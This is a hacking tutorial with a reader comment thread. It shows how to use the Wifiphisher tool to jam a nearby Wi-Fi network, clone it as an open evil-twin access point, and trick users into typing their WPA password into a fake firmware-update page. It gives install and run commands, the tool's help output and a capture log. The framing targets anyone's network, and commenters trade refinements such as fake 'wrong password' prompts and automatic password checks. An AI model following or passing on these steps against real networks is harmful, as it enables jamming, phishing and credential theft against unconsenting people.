How to Hack Wi-Fi: Get Anyone's Wi-Fi Password Without Cracking Using Wifiphisher

Get Anyone's Wi-Fi Password Without Cracking Using Wifiphisher

While password cracking and WPS setup PIN attacks get a lot of attention, social engineering attacks are by far the fastest way of obtaining a Wi-Fi password. One of the most powerful Wi-Fi social engineering attacks is Wifiphisher, a tool that blocks the internet until desperate users enter the Wi-Fi password to enable a fake router firmware update.

Social engineering attacks are powerful because they often completely bypass security. If you can trick an employee into entering a password into a fake login page, it doesn't really matter how strong the password is. This is the opposite of cracking attacks, where you're using the computer's processing power to try a giant list of passwords incredibly quickly. By nature of the way this attack works, you cannot succeed if the password you are attacking is strong and isn't included in your password list.

Not knowing how strong the password you are attacking is can be frustrating, because investing the time and processing power involved in a brute-force attack can make coming up dry feel like a huge waste of resources. Instead, tools like Wifiphisher ask questions about the people behind those networks. Does the average user know what their Wi-Fi router's login page looks like? Would they notice if it was different? More importantly, would a busy user, cut off from the internet and stressed out but the disruption, still enter their password to enable a fake update even if they noticed the login page looked a little different?

Wifiphisher believes the answer is "yes." To test that theory, the tool is capable of selecting any nearby Wi-Fi network, de-authenticating all users (jamming it), and creating a clone access point that requires no password to join. Any user joining the evil twin-like open network is served a convincing-looking phishing page demanding the Wi-Fi password to enable a firmware update, which is explained as the reason the Wi-Fi has stopped working.

The Firmware Update from Hell

To the target of a social engineering attack, the first signs of Wifiphisher look like a problem with the router. First, the Wi-Fi cuts out. They can still see the network, but every attempt to connect to it immediately fails. Other devices are unable to connect to the network as well, and they begin to notice that not just one device, but every Wi-Fi device, has lost connection to the network.

That's when they notice a new network, with the same name as the old network, but requiring no password. After a few more attempts to join the protected network, they join the open network out of concern that their router is suddenly broadcasting a network without a password that anyone can join. As soon as they join, an official-looking webpage mentioning their router's manufacturer opens and informs them that the router is undergoing a critical firmware update. Until they enter the password to apply the update, the internet will not work.

After entering the super-secure Wi-Fi password, a loading screen begins to crawl across the screen as the router restarts, and they feel a little proud for taking their router's security seriously by installing this critical update. After a minute of waiting, their devices reconnect to the network, now more secure thanks to the update installed.

Easy Access with a Bossy Update

To a hacker, obtaining the passwords is as simple as selecting which network you want to target. After designating a target, Wifiphisher immediately jams all devices connected to the network, maximizing the chance that someone connected to the network gets frustrated and applies the fake update. Next, the target's network information is cloned, and the fake Wi-Fi network is broadcast to make the target think their router is operating in some sort of unspecified update mode.

Devices connecting are immediately logged on a list of connected target, and the phishing page is tailored to match the manufacturer of the router by reading the first portion of the router's MAC address. After tricking any one of the targets connected to the targeted network into entering the password, Wifiphisher informs the hacker while stalling for time. After sending the captured password, the target is cruelly occupied with both a fake update loading screen and fake reboot timer to buy time for the hacker to test the captured password.

What You'll Need

For this attack to work, you'll need a Kali Linux compatible wireless network adapter. If you're not sure about which to pick, check out one of our guides on selecting one that supports monitor mode and packet injection in the link below.

From left to right starting from top: Alfa AWUS036NH; Alfa AWUS051NH; TP-LINK TL-WN722N; Alfa AWUS036NEH; Panda PAU05; Alfa AWUS036H; Alfa AWUS036NHA. Image by SADMIN/Null Byte

Aside from a good wireless network adapter, you'll need a computer running Kali Linux, which you should first update by running apt update and apt upgrade. If you don't do this, you will very likely run into problems during the Wifiphisher installation process below.

Step 1: Install Wifiphisher

To get started, we can open a terminal window and type apt install wifiphisher to install Wifiphisher.

apt install wifiphisher
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  guile-2.0-libs libbind9-160 libdns-export1102 libdns1100 libenca0
  libexempi3 libgdbm5 libgeos-3.7.0 libhunspell-1.6-0 libirs160
  libisc-export169 libisc169 libisccc160 libisccfg160 liblouis16
  liblvm2app2.2 liblvm2cmd2.02 liblwres160 libnfs11 libnftnl7
  libntfs-3g88 libomp5 libopencv-core3.2 libopencv-imgproc3.2 libperl5.26
  libpoppler74 libpoppler80 libprotobuf-lite10 libprotobuf10
  libqgis-analysis2.14.21 libqgis-core2.14.21 libqgis-core2.18.24
  libqgis-gui2.14.21 libqgis-gui2.18.24 libqgis-networkanalysis2.14.21
  libqgis-server2.14.21 libqgispython2.14.21 libradare2-2.9
  libradare2-3.0 libsane-extras libsane-extras-common libtbb2
  libuhd3.12.0 libunbound2 linux-image-4.16.0-kali2-amd64 php7.2-mysql
  python-anyjson python-capstone python-couchdbkit python-http-parser
  python-jwt python-libemu python-pam python-restkit python-socketpool
  x11proto-dri2-dev x11proto-gl-dev
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
  python-pbkdf2 python-pyric python-roguehostapd
Suggested packages:
The following NEW packages will be installed:
  python-pbkdf2 python-pyric python-roguehostapd wifiphisher
0 upgraded, 4 newly installed, 0 to remove and 422 not upgraded.
Need to get 4,579 kB of archives.
After this operation, 10.8 MB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 kali-rolling/main amd64 python-pbkdf2 all 1.3+20110613.git2a0fb15~ds0-3 [7,398 B]
Get:2 kali-rolling/main amd64 python-pyric all 0.1.6-0kali1 [308 kB]
Get:3 kali-rolling/main amd64 python-roguehostapd amd64 1.2.3-0kali2 [402 kB]
Get:4 kali-rolling/main amd64 wifiphisher all 1.4+git20180525-0kali2 [3,862 kB]
Fetched 4,579 kB in 10s (458 kB/s)
Selecting previously unselected package python-pbkdf2.
(Reading database ... 431969 files and directories currently installed.)
Preparing to unpack .../python-pbkdf2_1.3+20110613.git2a0fb15~ds0-3_all.deb ...
Unpacking python-pbkdf2 (1.3+20110613.git2a0fb15~ds0-3) ...
Selecting previously unselected package python-pyric.
Preparing to unpack .../python-pyric_0.1.6-0kali1_all.deb ...
Unpacking python-pyric (0.1.6-0kali1) ...
Selecting previously unselected package python-roguehostapd.
Preparing to unpack .../python-roguehostapd_1.2.3-0kali2_amd64.deb ...
Unpacking python-roguehostapd (1.2.3-0kali2) ...
Selecting previously unselected package wifiphisher.
Preparing to unpack .../wifiphisher_1.4+git20180525-0kali2_all.deb ...
Unpacking wifiphisher (1.4+git20180525-0kali2) ...
Setting up python-roguehostapd (1.2.3-0kali2) ...
Setting up python-pbkdf2 (1.3+20110613.git2a0fb15~ds0-3) ...
Setting up python-pyric (0.1.6-0kali1) ...
Setting up wifiphisher (1.4+git20180525-0kali2) ...

Progress: [ 95%] [#######################################################...]

If you want to try installing it from the GitHub repo, you can do so by cloning the repository and following the instructions on the GitHub page, as such:

git clone
cd wifiphisher
sudo python install

This should install Wifiphisher, which you can start by just typing the name of the program in a terminal window from now on.

Step 2: Review Wifiphisher's Flags

You should be able to run the script at any time by simply typing sudo wifiphisher in a terminal window. While Wifiphisher has no manual page, you can see in its --help page that it has a pretty impressive list of configuration options you can change by adding various flags to the command.

wifiphisher --help
usage: wifiphisher [-h] [-i INTERFACE] [-eI EXTENSIONSINTERFACE]
                   [-aI APINTERFACE] [-iI INTERNETINTERFACE]
                   [-iNM] [-kN] [-nE] [-nD]
                   [-dC DEAUTH_CHANNELS [DEAUTH_CHANNELS ...]] [-e ESSID]
                   [-hC HANDSHAKE_CAPTURE] [-qS] [-lC] [-lE LURE10_EXPLOIT]
                   [--logging] [-dK] [-lP LOGPATH] [-cP CREDENTIAL_LOG_PATH]
                   [--payload-path PAYLOAD_PATH] [-cM] [-wP]
                   [-wAI WPSPBC_ASSOC_INTERFACE] [-kB] [-fH]
                   [-pPD PHISHING_PAGES_DIRECTORY]
                   [--dnsmasq-conf DNSMASQ_CONF] [-pE PHISHING_ESSID]

optional arguments:
  -h, --help            show this help message and exit
  -i INTERFACE, --interface INTERFACE
                        Manually choose an interface that supports both AP and
                        monitor modes for spawning the rogue AP as well as
                        mounting additional Wi-Fi attacks from Extensions
                        (i.e. deauth). Example: -i wlan1
                        Manually choose an interface that supports monitor
                        mode for deauthenticating the victims. Example: -eI
                        Manually choose an interface that supports AP mode for
                        spawning the rogue AP. Example: -aI wlan0
                        Choose an interface that is connected on the
                        InternetExample: -iI ppp0
  -iAM MAC_AP_INTERFACE, --mac-ap-interface MAC_AP_INTERFACE
                        Specify the MAC address of the AP interface
                        Specify the MAC address of the extensions interface
  -iNM, --no-mac-randomization
                        Do not change any MAC address
  -kN, --keepnetworkmanager
                        Do not kill NetworkManager
  -nE, --noextensions   Do not load any extensions.
  -nD, --nodeauth       Skip the deauthentication phase.
                        Channels to deauth. Example: --deauth-channels 1,3,7
  -e ESSID, --essid ESSID
                        Enter the ESSID of the rogue Access Point. This option
                        will skip Access Point selection phase. Example:
                        --essid 'Free WiFi'
  -dE DEAUTH_ESSID, --deauth-essid DEAUTH_ESSID
                        Deauth all the BSSIDs in the WLAN with that ESSID.
                        Choose the phishing scenario to run.This option will
                        skip the scenario selection phase. Example: -p
                        Add WPA/WPA2 protection on the rogue Access Point.
                        Example: -pK s3cr3tp4ssw0rd
                        Capture of the WPA/WPA2 handshakes for verifying
                        passphraseExample : -hC capture.pcap
  -qS, --quitonsuccess  Stop the script after successfully retrieving one pair
                        of credentials
  -lC, --lure10-capture
                        Capture the BSSIDs of the APs that are discovered
                        during AP selection phase. This option is part of
                        Lure10 attack.
  -lE LURE10_EXPLOIT, --lure10-exploit LURE10_EXPLOIT
                        Fool the Windows Location Service of nearby Windows
                        users to believe it is within an area that was
                        previously captured with --lure10-capture. Part of the
                        Lure10 attack.
  --logging             Log activity to file
  -dK, --disable-karma  Disables KARMA attack
  -lP LOGPATH, --logpath LOGPATH
                        Determine the full path of the logfile.
                        Determine the full path of the file that will store
                        any captured credentials
  --payload-path PAYLOAD_PATH
                        Payload path for scenarios serving a payload
  -cM, --channel-monitor
                        Monitor if target access point changes the channel.
  -wP, --wps-pbc        Monitor if the button on a WPS-PBC Registrar is
                        The WLAN interface used for associating to the WPS
  -kB, --known-beacons  Broadcast a number of beacon frames advertising
                        popular WLANs
  -fH, --force-hostapd  Force the usage of hostapd installed in the system
                        Search for phishing pages in this location
  --dnsmasq-conf DNSMASQ_CONF
                        Determine the full path of a custom dnmasq.conf file
                        Determine the ESSID you want to use for the phishing

Step 3: Plug in Your Wireless Network Adapter

Now is the time to prepare the wireless network adapter by plugging it in. Wifiphisher will put your card into wireless monitor mode for you if you don't do so yourself.

Step 4: Run the Script

I'm going to use my USB wireless network adapter, so I'll add an -i flag to the command and add the name of my network adapter. If I don't, Wifiphisher will just grab whatever network adapter it can.

To start the script, I'll run the following command.

sudo wifiphisher -i wlan1

Afterward, we should see a page showing every nearby network. We can select which network we want to attack here, and press Enter.

Next, the script will ask what attack you want to run. Select option 2.

After selecting the attack, it will immediately launch. A page will open to monitor for targets joining the network. Wifiphisher will also listen for devices trying to connect to networks that aren't present, and it will create fake versions to lure those devices into connecting.

After a target joins, a pop-up will demand they enter the password.

When the target enters the password, we're notified in the Wifiphisher screen.

That's it! The script will exit and present you with the password you just captured.

[*] Starting Wifiphisher 1.4GIT ( ) at 2019-02-04 08:10
[+] Timezone detected. Setting channel range to 1-13
[+] Selecting wfphshr-wlan0 interface for the deauthentication attack
[+] Selecting wlan1 interface for creating the rogue Access Point
[+] Changing wlan1 MAC addr (BSSID) to 00:00:00:31:8c:e5
[!] The MAC address could not be set. (Tried 00:00:00:ee:5c:95)
[+] Sending SIGKILL to wpa_supplicant
[+] Sending SIGKILL to dhclient
[+] Sending SIGKILL to dhclient
[+] Sending SIGKILL to NetworkManager
[*] Cleared leases, started DHCP, set up iptables
[+] Selecting Firmware Upgrade Page template
[*] Starting the fake access point...
[*] Starting HTTP/HTTPS server at ports 8080, 443
[+] Show your support!
[+] Follow us:
[+] Like us:
[+] Captured credentials:
[!] Closing

Just like that, you've bypassed any password security and tricked a user into entering the Wi-Fi password into your fake network. Even worse, they're still stuck behind this horrible slow-moving, fake loading screen.

If you're looking for a cheap, handy platform to get started working with Wifipfisher, check out our Kali Linux Raspberry Pi build using the $35 Raspberry Pi.

Image by SADMIN/Null Byte

I hope you enjoyed this guide to social engineering attacks using Wifiphisher! If you have any questions about this tutorial capturing Wi-Fi passwords or you have a comment, do so below, and feel free to reach me on Twitter @KodyKinzie.

Cover image by Justin Meyers/Gadget Hacks; Screenshots by Kody/Null Byte


Hmmm interesting. I will try this when I get out of class. Maybe even be useful to have supported as an add on in my script I am working on.

Is it possible to create an EvilTwin AP with username and password, but when the victim enters the username and password doesnt compares to nothing, just stores the given user and password.

Good post btw

That's what happens here.

Not really, here we are redirecting to a fake web firmware update, which for someone in IT business would not trust very well.

What im talking about is reauth in windows connecting to wifi system

You could create another proxy authentication page and have them authorize there.

Let's be clear, this will not likely work against someone who is IT security savvy. The other 99.9% of the world, it will work.

But when you auth in windows for example, you get the form, usually just password or username and password, those are sent to AP right?

cant we catch that in plain text since is our controlled AP right?

Yes, but those are router credentials, not the actual wifi password. They come into use later, but without the wifi password, they are of no use.

And as I already suggested in a similar post, you can build a custom phishing page that looks credible. The first 3 bytes of the MAC will tell the manufacturer, so you can insert its logo and make it more similar to an authentic one.

Router credentials are for the router web based configurations, im talking about wifi ofc

I think there is some confusion here. This hack is for the WPA2-PSK password. No username, just password.

PSK passwords are sent as hashes and not in the clear. We can capture the capture the hash, but it never appears in the clear.

Ok ty OTW, can we launch our own fake web form?
and if yes is it easy to change the web file

Ok ty, I will look into the code then.


What if you have a school chromebook that does not let you get the proper chrome extensions and dev mode is blocked, is it possible to get the source code running at all on a chromebook or should I try another computer?



After that, do I still have to crack the password or do I already have it uncrypted?

No, it's unencrypted. The user entered their password into OUR website and we captured it.

What happens if the user introduce whatever password, will this password is kept? and give us a false positive, or there is way to verified a valid password?

Thanks OTW!!

If they enter the wrong password then it will not work but quite honestly I don't think its worth trying to verify it since everyone on the network will see this webpage and the odd that they all enter the wrong password is slim.


do I need to be connected to internet when doing this attack or my Kali can be offline?

You should theoretically be able to use this when offline since the victim never actually connects to the internet.


Well if you not online the target won't get internet but they will still go to the fake upgrade page which will allow you to steal their password.


Being online should not be mandatory... after you got the password you can simply stop the fake AP, victim will disconnect and reconnect to real one automatically. Or you could automate it by adding a small script to stop the attack as soon as the victim inputs the password.

Password validation can be added as well, either trying to authenticate with the just gotten password, or using aircrack against a previously captured wpa handshake. Again, this can all be scripted and executed when victim types his password. This way attacker might know in real time if password is correct, and eventually output the result in the phishing page before stopping the attack. So in case a suspecting user types some gibberish in the password field, it won't be greeted with 'YAYYY Password is correct' !!. Personally, I don't always type my passwords when they try to phish me, but when I do, I type some gibberish password that ends with ' OR 1=1

very nice tool, and when i was troubleshooting i found that by using only one network adaptor you can use this tool to block any wifi from using internet...very interesting..wish y'all can try it..

In the firmware upgrade page, is there an option to notify the user in the first attempt that the credentials provided were wrong so that people who hesitate to put usernames and passwords in suspicious looking pages could be tricked. Doing this on the first login attempt could fool the people who might insert wrong credentials intentionally in the first attempt to see how page responds. Others might think that they might have mistyped. Both in most cases should provide the correct credentials on the second attempt.

And also can the firmware page be modified? The page template could raise suspicion if the router page they are used to looks completely different.

Both these things can be done with a bit of javascript, html and css. So where does the fake firmware page exist?

Great article as always!

No, that option does not exist, but you could definitely add it. This is all just a Python script.

Ok thanks. I looked up the project and found the html page in
phishing-scenarios/minimal/ directory.

Ok i'll look into it then. Thanks.

Why do you need 2 WIFI Adapters? Can 1 work?

You need two because one injects deauth packets to the victim, the other one creates the fake AP.

Injection requires the adapter to be in monitor mode, spawning the AP requires the adapter to be in master mode, and you can't be in both modes simultaneously.

You need 2. One serves as the AP and the other connects to the Internet.

Do people REALLY do this? Why? Isn't it kinda, sorta "illegal", and if not illegal, just plain wrong.

I'm posting it on Facebook so people can watch out for lowlife bottom feeders such as y'all.

Yes, people do this, but you're misdirecting your comment. This blog is geared towards white hacks interested in becoming security professionals, so they need to know how these types of things works to spot them in their field.

So with the wireless adapters, will this configuration work: 1 internal Intel Centrino Advanced-N 6235 and 1 Alfa AWUS036NH adapter.

As long as one can do packet injection, you are good. The Alfa is capable of packet injection.

Is here someone who can help me?

I have an internet connection in kali linux ( i can normlally go to google or null ) but when I run setoolkit ( site cloner) or wifiphisher it is saying to me that i need an persistnet internet connection. How can i Fox this? pls help

this is why you need 2 adapters. 1 for keeping you online, and another one is for creating evil twin AP. Once you set your only adapter to monitor mode - you lose internet connection.

How long does this process normally take? Because for me it will just only jam and not actually force the user to the proxy webserver. What I believe is happening is users get kicked out of network (deauth is working). But then the fake AP isn't setup properly because it wont connect to the fake AP instead my computer is trying to connect the the real AP but gets instantly kicked out of it and this will just loop (Yes I am using two wifi adapters, AWUS036NHA and the TL-WN722N).

I tried this on my own network but the fake page for entering the wpa code doesn't show up.
Does anyone know why this isn't show up?

I'm having a bit of a problem starting the fake AP. Hoping you guys can help!

I'm running the newest (to this date) version of Kali Linux in Virtualbox 5, using an Alfa AWUS036NHA for the deauth and a D-Link DWA-140 as the second wireless adapter.

According to everything that happens on the screen, it should be working just fine. I do get deauth'd on my devices, but the fake AP doesn't show up on the list of available networks (checked on Samsung Galaxy S3 running CyanogenMod 13). I even went as far as to get WiFi Analyzer for my phone, which is an app that searches for nearby WiFi signals. It could not find the fake AP either, which leads me to think the AP was never created in the first place. However, no errors show up on screen in Kali.

I've even tried manually setting the deauth adapter by using the -jI switch; python -jI wlan0.
What could be the cause?

It seems network manager was the problem. If anyone else experiences this problem, you might wanna try and kill the service.

You can do so by using the command "service network-manager stop" without the quotes, of course.

What do you type to download wifiphisher from github? You say you are attacking the winderhowto network #11 on your screen.

When you hit control C you say you enter #12.
Why? Wouldn't it be #11? I'm confused

Lastly thank you for the great article.

Can you use two external wifi adapters for this attack?
like two tp-link TL -wn722n?
It's because, my laptop's internal wireless card is a broadcom one, and it doesn't support monitor mode.

Yes, you can use two external wireless adapters.

Hey. I read few of ur hacking tips of wifi. But I am more intrested in wifiphiser , I have few douths on it. When we send that authentication to the user , can he suspect and see our mac address. Is it safe to use this method. Does this method work on all type of wifi protected routers. And why do we need 2 adapters . Can we do this method with one adapter. Pls if there is a video for this , then can u send the address. Thanku and waiting for ur reply.

And ya does it work on Windows 8.1


You don't seem to have this article.

First, you need Linux. Second, it will work on any wifi protected router. Third, you have two wireless cards because one is used to deauth the AP and the second creates a fake AP.

Does any type of less cost adapter work??

Only those on the aircrack-ng compatibility list.

I installed and it runs with no Errors with one Alpha AWSU036H connected. It stays blinking and my iPhone doesn't get rerouted to my evil twin. What to do with the second USB Wifi adapter? Just plug in or configure?

uhmm can i do this w/out internet in my laptop?

can i turn on only the fake ap without the jammer? poor man mode, i only have 1 usb wifi. because my internal card is not detected in kali.

The big problem is HSTS detect on chrome an firefox

is this work for ubuntu?? i have a scapy error when use it
please reply

does we need two wifi adapters for it to make it work If yes then I am sick of googling how to set my new TL-WN727N on linux :/

You Are A Genius. That's Why I Love Visiting This Site More Often. Keep Up The Good Work.

Hey guys. When i install the wifipshisher file i get this error :
No wireless interfaces found, bring one up and try again
I was told that if i.m using Virtual Box i can.t connect to my wifi driver, so that means i can.t use this method?

IS it possible to use window operating systems

python code in wifiphisher 1.3 is wrong

Can I attempt this on my own wifi? I don't want to use someone else's real wifi.

Thanks for this article! It helped me alot!

Is this a problem ?

How many AP's are shown to the user with the same SSID ? I'm assuming it is two, as there are in effect two separate networks, albeit with the same SSID name, ( the real one and our twin ).Wifiphisher relies on us having the stronger signal and their adapter choosing the strongest one. But isn't there a problem ? Each network shown has the option to connect automatically ( enter the network password once, and the wifi adapter always chooses this network ). So how does our twin AP get selected in this situation ?

It worked! Thanks alot.

But is there any long range Wlan adapter that enables packet injection?

Is there an easy way to dis-associate your adapter from a particular network once it's connected ? When you attack a network, your adapter takes on the identity of it. But if you then want to link to another network, it's still linked to the first. Closing the terminal and opening another doesn't cut the link, and neither does unplugging the adapter either. I have to keep restarting. Is there a command ifconfig up/down or wlano up/down that works ?

Great article .

Have they fixed the issue with Atheros chipsets ?

I believe problem is fluxion uses " airmon-ng " to put wireless card into monitor mode, and currently us atheros ( RTL8812au ) users must use iwconfig in order to put card into monitor mode as there is an issue using airmon-ng @ the moment.

I've tried the oblivious , and started the card in monitor mode prior to running fluxion , still had issue .

I am using Kim's custom 8812au drivers originally pulled from aircracks 8812 driver ( ) , and they are working great with aircrack suite as well as wifiphisher .

Share Your Thoughts

  • Hot
  • Latest